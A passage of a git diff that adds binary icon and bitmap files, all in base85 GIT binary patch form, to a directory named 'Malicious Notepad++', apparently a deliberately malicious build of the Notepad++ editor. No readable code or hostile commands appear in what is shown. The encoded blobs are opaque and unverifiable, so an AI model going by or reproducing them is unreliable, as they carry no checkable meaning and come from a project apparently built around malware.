zNQD7llE4xSudD{904V?<*$AfZ`+1%fz-U#&U>jzdre#^A&)>ka!qPMqopoKeZ39DX d97pD&i~)SIviRBe9RM|XLJISu#w_~G`U6rs|I7dY literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/closeTabButton_push.bmp b/Malicious Notepad++/src/icons/closeTabButton_push.bmp new file mode 100644 index 0000000000000000000000000000000000000000..e136d11df11fc883484fc0f0e7b02879eb412438 GIT binary patch literal 450 zcmZ?rJ;cZW24+A~1Bkhyn2|vOEZzf^2XmlAUc+%|n>{kN`+-Q-?tq-*VR`4H@-D{| z+)e<=qK;b(2@K-K3&Cpk0TswP90H0fx}Q|?Jfq}wR?+h`kPA{{G!LkzbM7M`0ve*= zdR)o#G=vLO2IMj~3uC2bA05vWGq>cowg!4*hbAxr}*00sz9ji73on86%~8cFl5QkFZVt)Om`vE2t$!zjWapqwkB zJ5kJFuDJ1Xu%%n1t#$yt0Q4*{On~VB|NrTQ)A^OM1yqUz)vHCcyF_$)MD?cv14P_t MJ`e$8;s5`C0Lv1rU;qFB literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/copy.bmp b/Malicious Notepad++/src/icons/copy.bmp new file mode 100644 index 0000000000000000000000000000000000000000..3ca261d3fb5a18a8770872a8dd3a25065c9ab1b1 GIT binary patch literal 1334 zcmeH_zfZzI6vrQkR6UM(nDFGz!IyP$lBzKhXgGD%Dp z`?;ypfCbrV-vtgDi)HGC6FbRBr`~CB@$VStVCifE1$dx>d7Z7 zYb%jRc1!u#{)X|AU+=l+-20L?b-wKa4#&;|Jys7#awuj&E-Qy;s+n-*LI(@TwFgQG zJg8s^8Ti<2Hc+7t3Rlo_#dVFC)`%#;RtF#%LQ#lVhj6A6Ggrc$OAtvUTEdwS`-BNI zoiQ%)3^OO5BP=|EwoiGCz;mvs9~9z z@!ILMgxL|bZq_%t%~7@56)&Bv@0y}E%ni+6BkP~7_cyzIH?rDUFB+C*m&f`0V=F|h zS<4S@&TT5b#!r6?V^A9ZHjKe-v2R>fjJ^=X%H>MqQHXlsvSCzswvO|HQ98?msGmlE E015-e8UO$Q literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/cut_dis.ico b/Malicious Notepad++/src/icons/cut_dis.ico new file mode 100644 index 0000000000000000000000000000000000000000..b7269815b8c93a879af100e8f9076e165a7a7450 GIT binary patch literal 2998 zcmeI!F=!)47>40bcSoEe*lF$N)T~Ks_4cKdRjIMns}-1lI#mh@PA7p1m*$EP!m3hZ zG2K9U_DV3^` z>wdHF!V53Fs*3Rwd>`M%H}N(63I1499pVr00e%;s;%E2>KgJL7AwIjS% zy`Ij`&(&(Rbar;8dcCgG(^FL{6&)QNsZ=Uye}7+ldwbg6-d6gX(YJ5k{*Av=3A^dp zk~}NoSjjUYrYPMAY#8v%x}dv!L?5JKeB^{Avne>SSh#rp zu*)_BapHv(XKC~B3fNZO1!>QdJnBdAl6m^F7Ig{uFg^J2`ZCzz^ROM+PK0UZ_k4C9 zxLIXMWFkwRoGI>Qq zYvkKLKR=EBQ&-0PNT%OV3&#Axx6|)>^V6@|8GWHbyXgNd_?mx}zmi^#q^=NAx@=yL}xpNFGsK6y<@bz{0U)%a7+LI literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/cut_off.ico b/Malicious Notepad++/src/icons/cut_off.ico new file mode 100644 index 0000000000000000000000000000000000000000..b0ee93ebbab66785902926608eb028fbf931b057 GIT binary patch literal 2998 zcmeI!J!qRp9LMpWl2CUjc2|3e7MZTrZl|NHNsFyrtH4BP)1=bkYLY+#k0wJY<LSPyU*m(=$G$HZ~+*I^4Aha@}tG6Q5jaGMR9;0ptE;jJ+ar z*hlu`|MZ`p0rtSZnm*p=Y<^Pv+1iri)~?yt_U}{sd@`RXeec&R(sZnWc zREXH;HuvXJ>sqQ^NadzftSDaMXZRt$hi~Gm*c0+G{t$nFFW`6a)H@pCyZAc3gfC#- zn}ru%c;Qvi58+g!5h568$2DF)1hmY>w@KKvRsvll;Rio7(d02 z@ezK*_R$hQ!w>O2d=p>AZ`eN68*7B`;_LVlzJT8}L9tolXZRt$hi9fu760i8icN}N z;A8w0KgKgT8zv}bB1YscxlS&T3*=1`^ziVY`}=#{-QDT-_EtAHH@dpIQWQnHyu4Ju z-`Dy1xmvB3&d$zMtJQRRda81{tfQkN6^ljf@9%4GZ%^CX+e&{k`r*~9zwv)6VK+UR zl1Bw&Odb*TOHt`Y;J-8VeqB&qXfb@H>itS2olc|SI~>9^0r1ZVlbl$EEl`8!i4xOE ztZA?^Ye_CVAU?3jHnI-Xu%!tTrvgsvz!!Gm3?wF5RS*hiqp~%)KKKSg%L$##hTue} zuUx~;)UJqzF!nx0ecmyAUsGy)VJUzN?=V)ZoMG(_otqVcW7D2*V7| zeD6GPqe}V~1d(;#y`g?FOa|Okg)k*ac7~`aSyk~NZbwWw>qs_G+lWsMO49cb4|C)gV?GE zB>yb**q_6;59g1g|J0o^Khvr2$vI>Gpo_oj#k*g%GkK|8JMVuMe8*4aZ>6UbY3nU# v-mIK`ySUbb>o(80+~T~${qwid3(h;-Z+$_WO!|zfLp1*!gYa#s!^f5C1 literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/cut_on.ico b/Malicious Notepad++/src/icons/cut_on.ico new file mode 100644 index 0000000000000000000000000000000000000000..0d1844376afd7d6e6b5390deee3df5c58a7fda61 GIT binary patch literal 2998 zcmeI!F=!)47>40bcSoEe*m04q=g~F$@ z<(C)I0p~)&UP(WEEN#D(KBrxvenHLY6`xWYn-%|bcGV_GyWRFDK4~hBW6m~U+>ea0 zEh>k-Wk3Ee|LGNA5B#g;{e8~nr?g+Ky^`Eon|*D6KD5u{S*+!c-z!-f4dzCj#HcYc zDi4jqh<$ErZzi>Fr23^)X-cK4k_CQ@@8i4pCccI}rJmrA@Q3&izlW#a!2sXEH}GYA zh;_eNc;ST?UR5pdV|*Xq#W(Ra{3-rKGaca%@gaT>zr@e+34Vkh;v;;7@8MhcI=+H0 z;SJv44c_1l-r(&q`M%H}N(6DgFe1#A+V0njx#X zhhO67_yj+~5AhK`!uRkkd>voGm+W^O-rx=1;0@m3NoYnwH@vP(URRUXRjo=({2ZU) zNBAK=!f)6+5SpQKYM@ zEA@IkU0htK)oSVd{9N^VU1w)!s#GdEK0a2dRMNr0f%fHQXMha@K3ngCb~d69Td)#AK3^>QgtM>*{vKh96RWTVDsn$iVDf=A zMXiS?a^WfQsYP~>b)cesnlN!X;It0>!!DeHU=pl4$R18-WqWWr_yMw!1CmUq;6y&} z;@QJ4+Z0R!FQiGDHV?0WZDn1M_B6<%egrR>r!Q+!mw*q`gAcDSgB?B#+mY==m}Yj* zXXk;NRhmR9(&WjR;$B9UrCX{jOpIbzh@R4k+CiR*eUxyTNIJ$!6nT=|v-ndNUIc{Q z+jDVEcI_Z;9&RS~y}J0+#z}S8ft9eULicGH0w6Phv5Vohmft8mZHsnY;!Ff$yPi_g zo$xdz+sL+kc78ATk6jq^6PbQX%^C9t-%h{l_0PX*C;n2ocESH!@D2Yee=WU?rLA|I smt0dtTQTi6_h@c$-r+iUC%xvp!}ZoD#Ho~z=xitVRUEv1%V=5o6BcA`g8%>k literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/delete.ico b/Malicious Notepad++/src/icons/delete.ico new file mode 100644 index 0000000000000000000000000000000000000000..760a5c0f47e8f979b3523e9dfedc74689242069c GIT binary patch literal 2998 zcmchZKTP9T5Qm3lC8r{^&@4?5Taq5Q5>n9seOe@hlp-iiTtO-#rJzJxoKB}ur9sd| z6d+x(RjL)m2}}57$#P7J7~LIn-}9f~u*>PHduIGR{(W!Wyzz6e$c%iDrKNc>?T-&4 z%k)c2#uNFqATl>AvcmNe_7gTEA32NIuvtq+XP%A7wQVOIXD+4R@6#JW<3CX~R~U!6 zWlrBWt6o16DYR0hsXDIPt;}z$w#P@(I)O2*u2FrA+OlI;>dnMIO8q0_+l5w&OX8d1 z$pjO>U=K}%#IK)3B6+{9TE2LsZnJy;2Y1S2&Zi3`4UJ`br4`YkW zVl!B}kK*3==Dvk}!ZuQC(i_vnX6TL0GQaghv&rpu`9y9T8vWJOzh6{WB)`v-McW^_ znYEeh!t{2Un4RWF&n>gh`}chr{`QLuhAO=WmD7RB{;kU9l}f2gI>tKpB8_X2>X}HT zCQ{y(fdhXBe*xcyufgxZ?qFN+Yw)Y^CHMt+;`Vy*r||pmoA4!Ap^^eG@B%OJvMmn$ z9sC7+8@>j=2fxERxCOrkzY1T1Uw|LNKfn**Z{e@tyYOB34txW?3SWUQ!z;YPE4;!h zyu!b5+;d!WoN?4Rwqt$>{{TOLzlFboH_^M$9q0yh6}kdlCcXoI2Y&(IhOfcz!SBFt z!LPxu!k6F|;ECJo!JoqK!*9Zu-l-0o$AQ0tzkqMU*WmX`qB~S`i)yY>%~h&dqM8e4 zv%){X58!X%ui(4zUHA@s1HKAhfiJ@=yuvHI!YjOz50C4f$92u)I^%KGcwF1t{N}(v zzz^VW;jiGk@b7FNap3RZFW}qoHTXUFceW342hxK-h2MwYgfGFrSD=A9@OSVR@NIZ1 zt$Qr&#|0YjcJ=fDegJ<9e+5r*-YL+4UydGjitS^YSP6TtKu=Fk^7!~D-@bj5uV25) z&CQKmUS3MK+m-Y4bLn(Ca(sL&jYdNb4i2PRt;+81u2d=&Szlk5a=9$a%geI3xF~aT zb29u><>xP7{_Fp#5igawJhyp`q;z(RohvvGjHwuE#^Sm$@ zDsmkDA#%2?K*AvKz!E));kp13XDf&#KxcTE0|=Yx0pSBTie7cHaHEMXVMO>SG`X3z z(57|Ii!3V&#q<6}_mD#;0SJ_jPwJLq(i`byg>Q5Up_V0afVf0?og&6M%k#4O<#mcg zt<)J=VJ1(_pXzD~khQ7tYMEjaAycRGw=|t#GJC4W&&L%jOW<|5P=E7yNu8?EGl7$Q z5+o2i!}EMHGA(c%4<-i(g#C$a(F22be8-N{83<^TFlvH5oC MXWuDDuiq*E02S(wSO5S3 literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/docMap.bmp b/Malicious Notepad++/src/icons/docMap.bmp new file mode 100644 index 0000000000000000000000000000000000000000..6f07e590bcadf5cf80111d1a21ac7f204872dc56 GIT binary patch literal 1334 zcmZY7F_P0*5XSMQ3JN>hBXr0Kh`ToD1P5l9rehzk@33J)X-{c>L=4URyf&_x(ZDh!T5qR@Fr zfx_SjBnn-GL%PD?2qX$!On6LDEW0C+DD<&3Rnp)HBno{j+mtjo0*OK&uf&x!I0A`6 zAFnHvG&ll@LLaX(l{7d4i9#Q*xs)_G0*OLDe*)`D8XSQ{p-Zs-5XG``$Fe61T|xy4 zgCmeA^zqqDNrNMhDD?43T}gu@kSO%=xw%P%!4XIl`e=nz(%=Xr3VpOmDQR#75`}(l zq3B8)9DzikOR@eEg~1U>EPEfVrAitcfkdH?wlgISjzFT&M@zbr21g)K=%ZajNrNMh zDD=_FsieUXNEG^L^HS2_2&8=fd6G|D7yO^d>3qoPw2Z*M{KV;bv;V#QyMNxytIKvC z?Dz9(I!w1$4_|Jk$7x0VNIt&5-rip7!!+Gb_qW^YtLdKk)7%cs+l2|chlN#eO!qY-RWe07%YHzfpqb^=R@4j zH}37NZLenaN44@){t2Dwd7TvkTirMW2Vh_@QwZc;w6Owe`<=UnltZU>1RVq)vGvcE(>U z&ad$cQal=hT^P27<(#@37azXs2*hyE(> z2cI6AcY56(?f~B99~A0z{mxha0exwEwAuWTn)4G_-z=6b-k^uI&lXkR>(AOp*E9G6+q$2_H`TsFGMR)~t>>g4 zu>JfnJCZNpm-c@l0~OWhVb`Ts?Cu!_7Xnwt*wZ`C-u@i>Qh9=Wwn%3seYSr9w>s=c literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/dupli_dis.ico b/Malicious Notepad++/src/icons/dupli_dis.ico new file mode 100644 index 0000000000000000000000000000000000000000..38b4cf6c9630677722ccd4f4f871f0d531eaa229 GIT binary patch literal 2998 zcmeI!KTI1*6vy$OLnN*u*FuAvMc3jUlG3$3ElG5GR;QD8y`CJ{(^Rk5sBG?% z+x=hu(-~k5{M0hP&RP7F`pcPDl9_318H6#xESQEcjrOpVA?>6`LhQxLMw zU2P4e+PPFdkqT8QS5!2{5Abb#6JN!bu=~_K{0@E_AK=&VjN9qp8~6%7j}Nf^Hw!Pk z@WQL8F@At=?58oG=wpmU5r#t-mqd=p>Am+<@eJ^T)S z8z11;@r>K);2Zb~K93LZ!avRqSsUXA_%^&46sK<74~?AL0A> zEd8vzw3!R;vDGWoMo}Q}JYU%j+ShZSB zhlhtMm&-ahI8dQb(C+T8a=Dzgwzjmfv7xoKHN}6L-o1VMoqwn9SV_;8yJy8@qPu6r zgrayUaNU4EmWZU=frY|#fA+?KCu1bhpT2^4?n&Hr7d-_$#oRP~nD3l|`6Q*$ZiML^ zX2E>42amhc$RwIHeg%u7XC5!Tx0_fRJ(olWl37oIxG`{w9Ehy+3%-{^sA5haE0yKU0M#&B)yliku-*(CP1LK-23O~gORRSFgl4mG^>GwgDdW4e4QDe&-=XZ`}ihGF}+ee{!Z@r z?Ul62H6C|Q(yu>AtFNUWxsTI6&|-SSyHvtH9Z~P6rxHQ#OQq<-JGbg~yIfts!k5h4 z9gWj{2{?ip;5B#gg{61&%bCll9d?m4&d-k<^E!yYZL07@2U*rd-_Rv)KP5GWF z)iEVJ_PJ}#fmFPZa;H+dASE;MNBBOzg>T>s_$+phwu|4!Z{ZX8H9UFSZG0V{$EWZK zZ1|Uj7hZVbmC*>_$G7ked;y=u@8Nef&^CSxpTMu-1N;#0<9qlH-otzNCccQz;nVme z-tdMuyx|RRcy|ssFE~#*3!ItI2lyf0$M^6Zyvy#Po9H4shfbrD)^|C-A~QuMSlk;rsX&zJV{`v-myyE`FP8Zc)ty)m*~| z_#xiM_wXIOhxhPJd=a0+r}0VmKMrqr!yDf4hG#+pCUn8qb;{RO;Ooj{qyRs}`}iKd zgZJ=DwvR^mKE8!-;0yRHe#!PBudg<~j?d#$_ym4gfqWa``}h{Vfv3`z#V;<9ZvlRY z_whY^2TyU96v(F#ZCag{r=@5K+Oh&YJUr<3_Ey)|*Sfm8(&go)&d<-~d7jSB&eUu+ zb$ooRVzH=$g9GJqIqmQ7E1gbjXJ<#rWKx@(n_6FA*Xru3f-k0@KYsk1zf!+?!ZD(tyXIjDs&Qp?{ZXJyf$|62n2I0sSuwq{@BG& z+$!d#d025^?0}2^^sGkZa-}kHNl6 z9e)xoU}kyz%9JPNL()epAkLnjDUsQ*Ja!Y9PLMGBaHfdF-T12Bg%x(;2t18KynIN~ zJHWAQ{1=!Ok$9LC;I30JQ^YV#(z~el6g;bc-Q3ioMMNLFA}$Pv8Ky;C&^sI=9K;pzA3W?2 zrt^4Y7HpW^yfy2-HY+ib^!}@~@jLBNG5-6>ZfIRvNjhQ*8(dd-j@|G;T#wRQ{0eEnak*TEipF3^ zEFihUYQiRl!a!oKoLHIM-M;<)XF!n!lDlS$-5DSA#{cL2-<$tD*_9G{qfF+#?D*@A zw8u4*u{-IHpQP=#(l7Kgv|ninz2j4=V`oP^dUjVQNWWf>FMQHfuh-*h0T=zqIqT6l z?N|2kpT$Oh zS$N@v7hXk8@B@4s-^5q(CHyh|NFyEK_wiZ$4nD+>@d3V%@8W&Dk8j~?_%gnL&*2^3 z;T_)L9p2&X9C2QAUT{`9i;)lUV|;+`h}ySMeqMG5!dDKsEQNW|nI1;6wZv zAK?4=F5buc_!ho~FXIdNoPEdP9p2#`-r*gd1&vtHHLvS}*Hz_p6^l}cAL9djAK%6M z_!Zkn6Z`<*#y9a*d-gNX55KS7TwqOLFN71qHED(<#E`}GtVtCEym-Mq~UM06o)4+3e=CenA14G`7 zXY+g&jWbvl1Ixlp5lsSE9{zv7b^r3;l&3T2!nAYuDd&1`ovTORQXf7`>3?WXO7QI` wcTell>e3mrrMYf!pSb6SxSpgGe#6liYkkJ*1J^U|`SweYoBX|vcrK>?0%@=aDF6Tf literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/fb_root_close.bmp b/Malicious Notepad++/src/icons/fb_root_close.bmp new file mode 100644 index 0000000000000000000000000000000000000000..5b57f9ad686bcca454130e6c72815d211b161c66 GIT binary patch literal 822 zcmdUr!EOOj7=@?lzUi`$&?oQ!-S-v5f{j>6Y*>g53t?qtBNl9ghzJoOlt`#jluRe7 zBD4&HA;?U1MtbVXq>FC5=;Yj+n}5##pYPtATh%#r{8ZSlu`W;RjJi73Df};8kVOg< zb@%sQA~E)OUUa&eMpOM&YW2NV`{48S2#e9!m`;USZCNhQOC_#Y&Wr} zEsExI5kZXxU#Tn*gu8H@XtlP9-)^Uu%MTO*91IS+-HpwP7Dx0{iq0}`>51E%2(!{L)K WAL?{g#P9d_1Azg^6_NVC*uMZ?#8?mj literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/fb_root_open.bmp b/Malicious Notepad++/src/icons/fb_root_open.bmp new file mode 100644 index 0000000000000000000000000000000000000000..56753ae6f9cef6307d3b0bc78c95c6a85ee7e76c GIT binary patch literal 822 zcmcJLy@~=c7)2x7i{(DTmR8!^Z|4))SxzO`3YPYQ;1;W`jiN4!0~QW4I4T3~4IXfTK*YC;@d^S{kvBDzBs5#B^$0RvcDx)y`=9Of$FH8Y^&DZO5TGCB>y|B{>Btr6e z&psxF@>{JXN0!IJQgV1%;1`S7;XUt*K8wX>I$yPTEQnYY@Hb&Bbc+RX5i-l=zI2`Z G)XoVBSyx~H literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/fileBrowser.bmp b/Malicious Notepad++/src/icons/fileBrowser.bmp new file mode 100644 index 0000000000000000000000000000000000000000..7a1cc31e71693dea39c17521518ddbe172c1a725 GIT binary patch literal 1078 zcmdr~K}!Nr7~G(9^bW}l z#qseoj*b)@9<~_v_n$zh)n4Ir<^+Fb zxhb<*)IDjCU&>Ci_-tDF{L#q5*4CZi`~5OZ^Mm=KmG5Z|-B&pL4gL?5%RRvl2I~lg O?pbci&cW~JKd+zU?dgaB literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/fileBrowser.ico b/Malicious Notepad++/src/icons/fileBrowser.ico new file mode 100644 index 0000000000000000000000000000000000000000..543c38f6c5e0a2849718f24e9da2e795e0d4af49 GIT binary patch literal 1406 zcmeH^&oA2n7{(vlYS?VGQPs`&Rb_3}&kb8`L#zEa#DPS_LE^$eTsR0PCl_(xB1A-p z2%$v6x^`{Xrkb!;%4oIvCEB#QR`%_(YvbT1K5yRl@I1+zyw3}yaK-0?n`vn00RjLr zt~m(>TqpEoG&g@kON$<@t>4ksWn_|9T*vLV03gJV`INCKJLWCgbS0ChnSi=#PqZqGc#_?&K_ZI?g;bq$5>eS zjm5r^cHqNlQd4{bmAGWuB*xB)8clR86{W%PV z0F1@}OePj)GYgA_h1Gfio9zO2`z0KXOB@_r!Rfq$%N2y%9fHRbhSwX0&liE;A3-2+ z4VH}}82p1!D28x2hDaoiXf%#k><01pO|rNi^oIoQRRVMy`B{%s{)0!aiBjuI?jC)qbc@$cn}Jb!kM; zv}%qoRplj8$>$8B=U*j^peCWIRN73U%m#(LNF++EXX;-Ny;N5!$}3d={H9k#e2rG4 Z(bne*g+hjTPn4Y_;JEFIr2bu>`4@0o#;X7T literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/fileMonitoring.bmp b/Malicious Notepad++/src/icons/fileMonitoring.bmp new file mode 100644 index 0000000000000000000000000000000000000000..b3e4223574b2f9c8fa3cf4d71615722e8e4cdf4c GIT binary patch literal 1334 zcma*lF_P3U5QX91Dk$3-N9d3fY}`dous7(V^cgro2NdB>=(JOQ=9$a0C*Co}bN>G&ll@ zLeEd?N*Wx2M4{*B<{=RVM<7w?xfN1LgCmeA^xP(;q`?tL6#BM>qLnl_0*OLPvHlW; z!4XJ|qvzIAB@K>1qR?~OnUV%aAW`VKC0$8_BakTc+^(Ud!4XIldT!-Z(%=Xr3O%=Z zDQR#7Ql5XE@|khL{Y1{&Dd#zA;22$_{U7C69x2Ol+{UiUzF%fp={WX%S&vbkE|=vz zMq}M5#C|!(rFFYre_ZKc>=;P%PY0vVW81C|pRU)9KVQ~mJ-6+(-InF$C*|dlCeI%oqwM?BoZz3H*ZGb)-pW5$`Wr8#`MLlA literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/find.bmp b/Malicious Notepad++/src/icons/find.bmp new file mode 100644 index 0000000000000000000000000000000000000000..cf295f5da67ed0f44ef058ce4c12998f87ff5fd7 GIT binary patch literal 1334 zcmeIyy-(Xf7zXf%C~z(*sey`~5C|@T%SW3+Fo|kGut+vbT{33%c%w(J9y5B(>d~V| zOPM@o%)gVqZ-P3Oz2cgFLud&%|K771`|Lz+Q@2&b#?eJh< ze5&wYgDxL;J*|(#NpGYz_tW;I(X0up=QXxnwkJ(>ChV@)XjbU_)|tEvZp8Hu?`8Of z`nfIZwa>5Lst45ypF6JB>f%tgw7TTyJ&#(g`=?)zKd&x(RqEow>B_IIi>tfuvcp{s gdQM%O>Tdm(E3LkFF7$A)E3^+rj&L3IxBqMS0|eWdPyhe` literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/findReplace.bmp b/Malicious Notepad++/src/icons/findReplace.bmp new file mode 100644 index 0000000000000000000000000000000000000000..88ec37e73cadd0ce5154897d6cf7b6472ba32d59 GIT binary patch literal 1334 zcmeH_KX21e6va%l{8XHW(@bhTUduwN|p3fVq$Pcp|s z=2|e$5jCfa%p>jzR;v{}?*xh%l98c5L_#vM4u&xP6ziOTs423*rnfOwHUhHF32oTw zFBT*tYobCb@gsVYsX6;OvXDw{qB(T1fKen|uwSsJMhoup&Y^ec$W$+J3-`^_4;o92Q@3QUH||9 literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/findResult.ico b/Malicious Notepad++/src/icons/findResult.ico new file mode 100644 index 0000000000000000000000000000000000000000..15b7a9dc25f5bf978e466e3ac7129a5b966ad944 GIT binary patch literal 1406 zcmdUv`CC*~7{|Y4r1i9rr9re%j}|p(78xcGNXh8LfP+Zv$}+>S4a2^Kh#@EliEJT~ zfT<*8?5MyD+X#%q<`r;BKoEQ$L^5HR8D?=h(@*(Be?a#_CU)Vg+27bmXKZpg8LQmd3iV zJSKwdRx6~l6Hv()vGiybT?ZMEE!n;H!#x-F&$TSy+g zWbGC#4maX4RZnvN3q2Vu)Yn$S(}jtevK$0?vydLmhQFI5DvOT5gT+8v0*~b12jxT$ zWVZz*Uow~U5yY7+#Pfp@n-LmGhGk$^feN97x9^g zIAa%*qCz0LT#bt2Y@{ScVYI6Oq5fWIsXl{qMMtrlX%EfJb*QF?pt`49w;RfZ2M`}- zB7(aY9Zgk8;B(;T<%;I>CE#(qA*elz0~hRahhJJj*iH}!uqD5_U{RU(n}_4W4;3=UnRD1or8y`!_Ut1CftrMris z>gpRBtDBlGUb@`evZ0lt&YV40@$31@s^2dBUR_gL_*2n|;*%vmpDHaaD=$C&%Mo5i z=FzO|ACGZ!j_2m(7krm%xQEh=(hrA*@xu8Lkx|hxv2h;p35k36`TF?> zusMNTcf%lBaL6u}^KO?tuHU)2d(b?+ynQIUufN%DPv5bVLHpK$>F7k6f4=z(i!EPn zwY0Kc{gsU^MXg)^!H1?FeM~dkuuZQf={>XJS$+NIR<3&f1!A?6V*Q){s$B|sprc&}`H!}*Agl!b28JvjHvj+t literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/find_off.ico b/Malicious Notepad++/src/icons/find_off.ico new file mode 100644 index 0000000000000000000000000000000000000000..0e3555e18a9004fb2dec42c04104854255effce5 GIT binary patch literal 2998 zcmeI!F=!%L9LMpWn}uAn$+f15&4gQ0MXpWuN@Hb{*xL$etYWhkB7}f07AeCP$8n66 zO)#CLP}m~XR6)2!Aza`vL$+DCW&ihmV>DyXEw0((?mzyWnfL$9o9COSiImU_rBXl2 z#h)*vE%vFDJClC@L0Vgpe&RSq{z4}7l6R?soyO$q=~;y$$Cb)t$2*7WcDw9d!J?PU z+!4vXn*1&g-`E}0XCn_&vk0cR0W?j42qIKRKbQOO1O+jdC4^8#JRP32D z9h2v?&RsSKQu$IUoJrY|l+Gy_;rsX&zJV{{^VkD&AHR#=!F%{5o_^bHd>voJXYd|2 z`exyU7hZVfG{X1sEqnuC!sqb^_T?X_&ojq zzmMO=@8CUr5>LPFHolH8;xl*;FZ}b_Vb(_YKE8!-;7j;C{s6y^-(@y;m`#t_OyWcQ z5Fg-s_zvF3`}iilj4$A`__X_t!yDf4hBv(78PI?MUGlijcw8kOS1u=o_#r;P_wXIO zk6*HUG{X1sEqnuC!sqczmJj^~YUAtpB0hun@XIDBuo1qGZ{ZtwX4>-j#S;`*h#%qu zd=KBjGdW8pC}1MmWSuOM8PX${P0+)`gKlqcb#rs0>+5S>U0vzo;zGXf>-_v&&1O@z zT21A0Sw}}lDijJjJUmo3o7LXlp3>>Gwzjskv9Y1GwKau*n|^)&{$Ko^x@R?gGw#1B z_>A|jUu|zM>B9XezJ8Vbc}aa*UQ&;h!v({Ll|Ow77YT`b)49okF!o8tr<2gOE4xqO zV)iM%ooDwKM(*RBI=9uHg|(%a5R1t=1^J?j!J2j=(YT{OU>f z(JjVNL|4wPj`!dir^%r!O~PI6!WHN4{TxgY`)O&u2M3~t;pS8}<-HLUUunH+{ewEhA)i2V@Xa02# q8Sh83%W;J^4p-T)bH4dedPDs!j_wk4yF&M?W|eib?k4wpihlqx+vZRJ literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/find_on.ico b/Malicious Notepad++/src/icons/find_on.ico new file mode 100644 index 0000000000000000000000000000000000000000..d33b4c15fa3aad9a28e5c4dc98da588dd1769cdc GIT binary patch literal 2998 zcmeI!F=*pf9LMpWF9+#xN_@i&N+9;4&?8e!*W_+=Jb6jHdo^V7=H)z;j5c`47;Y$~ z$di}gY$k&Z9Wn_I!O+8o&@4t|I_Pn)-zVF#l*Tu7X`%fqPkPe-^Zt^bUYtlNy-+rr zmW|(ENV^=fS$ih^@}0D?CVfvoOM6dC=_Pxqj$OoT^x~{el778DJFus#Ua!Z|CQS4r zV{DJcW-r;@|M8!m0oK4j8p(Ce;wS1aW3MC?>$9%y&vWa%H|i<;^=Ad4QDe1PxcyLemON4L;5bQxVh=cqry5Abb#6JN!b z@W=Qg`~iL+@8MlMbvqq=17E@C@g83Ir?bPXP4EMJ8{foN@g@8*{s@1-Z0<9g9<%A< zL;M&Y;QRP4-pBj+7QTir;|utl{f@&Myulm1!5cgeG~$7-cwOhbt}3sqSd>Ei7$4yK z_%7bZuUI~s;0O3NzKO5mOZXMbhq{3}_y)d$&*MG(stF3r1V6yH@l8B4ZA$p(Cnzu> zevA+BeS8T>x9+Z1ie5j{jx-$#y*|hx> zi2~F6?OE(7N(16Cy-&MQY;W(_(KZtKwBx)YTz8p|gK63^hB2?=`6U=8@~@-vv0Dt2 z`Qa0QWIQ)8W?ugh*k`nbc>V}D?)JUCFb9kD95{~SlD5eREYlH46HiCa%15`DMv)vH zudpZ^ySGg*DIM~a!0TS0A zPolI1k5~Q;9b6vy!&$0?WQ;9Aq*B1WOaN()J8T)6@FE)7CDxpU>ha)=_?CnHg!E21c} zD>uk=4uvhHpxO!{9kL}9B*dt2kir#qTP@PVPcbBm6 zPiF3jV0V|?%m3SddInen|LQim&RP6yrI%xmWNz%3b?yG1TIZdMj)Gr)loyy?fjtxY0N=-Z_%6PUchwu{I=YC?q0{Ij^#}MKzKO5l z3-~O43%`k9$FJcN_!yqLtrotD-@&Kw3B2&rv%{M~S4R3hE8=ekb(4i9^*CCIqz~jnfqyXQ? zd-yKCjc?#*EFTT>s{t!^mrH79+sxSef^az9_7^^VMhaDVsa&(JFAVQx23?l3# zkN=^-@D?&A>LUntcYm7#e3`hJWNqvp__n({Rl!wpfL8v#pSK{N9~GdjD-8&*`F`HF ziToIKho8!`J}ncqTAjY}%Beb?4(~2u;h)Uh z8NuOhxtIUTe|iSk1OIAS-sfz7O7-=^l58xTv#;IXbNjqA=xFlGj|wKH*3eW7Or@?V z(>5i2_PLA3K&o6yg)=EzmeM%|BYY3v#Mkj(s59N_oxyZ9tNj;GyL3tz*R@ELp( z8-B9z!V53FavI@#_$I!NFXQw0Bm98|+QaYSllVA(f*;}od>7xw`*@nIjka34VwV@LhZx?^^fK4Ri%vKxffu+8^P2_$I!NFXQw0 zBm4n=55J2~;^TPQZME<voL=kZ7Q1N7xw`*x|_pvs}5HG{Fz?0ltfG z<9+;^?V}OChi~HR_%c3^U$cE^H&6>-!DGr{GamJO)nPj zMbYoedqMOm&x2GfCAl=<^QTRuKK&;3kal2IETv~)VW5k(r(L)f92kE=`AXBqx5EBI z;L_yB?_=?}12jr3faxTSWBoU80OZi0JptpGg}{y7wdbw0KpqgM{ucRYR9Xh~4~V^Y zeR~$AJOwe*t`@*O(JB~IrXwf+F2(M6?80gHv|(*GK+hJzEIkMBzFYwF^bB~B8K6;@ zo-OG!V47YJX8CY{^FhwLcmk&A1AwOt2N|yJtO-|>;ue7t0`Ks!I7>eaQhjYXAb@9w zhvEKtFkx*{0Pc7ZuV`Lzp#kc;rU79E&ntSil%MxC1s}-sA+ln)+A9?wFP9$h@$Slr z*{}Rg`JUJ?yW`ubqi?OMs7af*{6y{$Ri1~45+4(rguAa>f_Inamvxwna_!w>CtUx| Y{Xfb7Mbh+orOF1;yIDSUS388NPYd*kiO zfE5h}^`+{iuP?sFujR$X7pnqRo=HDlr&l-4VrsQ^)rYGeAX-*`_`dql(>3SLtlhnJ z-SRm=!6&Dl08PG}ed$Wx<$8m<`8M)2`=#%G&;Rv)?z`zh(`xi^ 